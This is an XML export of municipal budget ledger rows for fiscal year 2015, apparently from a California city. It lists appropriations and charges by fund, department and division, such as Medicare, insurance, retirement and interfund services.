<row _id="15003"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>315</division_id><division_name>TRAINING</division_name><object>511712.0</object><object_description>MEDICARE-FIRE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>6590.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6590.0</total></row>
<row _id="15004"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>10357.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>10357.0</total></row>
<row _id="15005"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>7755.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>7755.0</total></row>
<row _id="15006"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>7546.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>7546.0</total></row>
<row _id="15007"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>3777.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3777.0</total></row>
<row _id="15008"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>STRATEGIC SERVICES</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>11434.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>11434.0</total></row>
<row _id="15009"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>307</division_id><division_name>CRIMINAL INVESTIGATION DIV</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>7520.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>7520.0</total></row>
<row _id="15010"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>1362.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1362.0</total></row>
<row _id="15011"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>936.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>936.0</total></row>
<row _id="15012"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>314</division_id><division_name>FIRE PREVENTION</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>1076.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1076.0</total></row>
<row _id="15013"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>315</division_id><division_name>TRAINING</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>480.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>480.0</total></row>
<row _id="15014"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>10707.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>10707.0</total></row>
<row _id="15015"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>27776.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>27776.0</total></row>
<row _id="15016"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>5898.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5898.0</total></row>
<row _id="15017"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>623</division_id><division_name>HARBOR UNIT</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>4471.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4471.0</total></row>
<row _id="15018"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>7777.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>7777.0</total></row>
<row _id="15019"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>653</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511773.0</object><object_description>RETIREMENT - MISC EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>199971.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>199971.0</total></row>
<row _id="15020"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>406071.0</object><object_description>PLAYA VISTA</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-648430.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-648430.0</total></row>
<row _id="15021"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>408000.0</object><object_description>INTERFUND SERVICES</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-250000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-250000.0</total></row>
<row _id="15022"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>408000.0</object><object_description>INTERFUND SERVICES-PKG OPS</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-2223304.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-2223304.0</total></row>
<row _id="15023"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>265</division_id><division_name>PCD - ADMINISTRATION</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>4875.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4875.0</total></row>
<row _id="15024"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>214</division_id><division_name>R &amp; ES(CITY CLERK)-SUPP SCVS</division_name><object>408000.0</object><object_description>INTERFUND SERVICES-RES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-220000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-220000.0</total></row>
<row _id="15025"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>100</department_id><department_name>CITY COUNCIL</department_name><division_id>201</division_id><division_name>CITY COUNCIL</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>3306.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3306.0</total></row>
<row _id="15026"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>211</division_id><division_name>R &amp; ES(CITY CLERK)-ADMIN</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>12079.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>12079.0</total></row>
<row _id="15027"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>307</division_id><division_name>CRIMINAL INVESTIGATION DIV</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>44689.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>44689.0</total></row>
<row _id="15028"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>13290.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>13290.0</total></row>
<row _id="15029"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="15030"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>8713.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>8713.0</total></row>
<row _id="15031"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>15922.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>15922.0</total></row>
<row _id="15032"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>23548.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>23548.0</total></row>
<row _id="15033"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>670</division_id><division_name>TRANSIT SAFETY &amp; TRAINING</division_name><object>511746.0</object><object_description>MED TRUST - MISC EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>14090.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>14090.0</total></row>
<row _id="15034"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>670</division_id><division_name>TRANSIT SAFETY &amp; TRAINING</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>9490.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>9490.0</total></row>
<row _id="15035"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>654</division_id><division_name>TRANSIT OPERATIONS</division_name><object>511773.0</object><object_description>RETIREMENT - MISC EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>481836.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>481836.0</total></row>
<row _id="15036"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="15037"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>653</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>1390.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1390.0</total></row>
<row _id="15038"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>655</division_id><division_name>TRANSIT OPERATIONS</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>15778.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>15778.0</total></row>
<row _id="15039"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>100</department_id><department_name>CITY COUNCIL</department_name><division_id>201</division_id><division_name>CITY COUNCIL</division_name><object>577850.0</object><object_description>CONTINGENCY</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="15040"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>263</division_id><division_name>ADMINISTRATION &amp; REDEVELOPMENT</division_name><object>401151.0</object><object_description>REBATES-MALL ASSESS DISTR</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2015</fiscal_year><july>20000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>20000.0</total></row>
<row _id="15041"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>140</department_id><department_name>CITY ATTORNEY</department_name><division_id>231</division_id><division_name>CITY ATTORNEY</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>107950.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>107950.0</total></row>
<row _id="15042"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>511711.0</object><object_description>MEDICARE-POLICE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>40007.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>40007.0</total></row>
<row _id="15043"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>19103.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>19103.0</total></row>
<row _id="15044"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>616</division_id><division_name>PUBLIC AND BRANCH SERVICES</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>38485.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>38485.0</total></row>
<row _id="15045"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>9669.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>9669.0</total></row>
<row _id="15046"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>653</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>17485.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>17485.0</total></row>
<row _id="15047"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>401000.0</object><object_description>SWIM CENTER</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="15048"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>401003.0</object><object_description>SWIM CENTER-SWIM PASSES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-197300.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-197300.0</total></row>
<row _id="15049"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>401009.0</object><object_description>SWIM CENTER-AQUATIC SUPPLIES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-9000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-9000.0</total></row>
<row _id="15050"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>STRATEGIC SERVICES</division_name><object>408000.0</object><object_description>INTERFUND SERVICES-POLICE OSE</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-1378824.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-1378824.0</total></row>
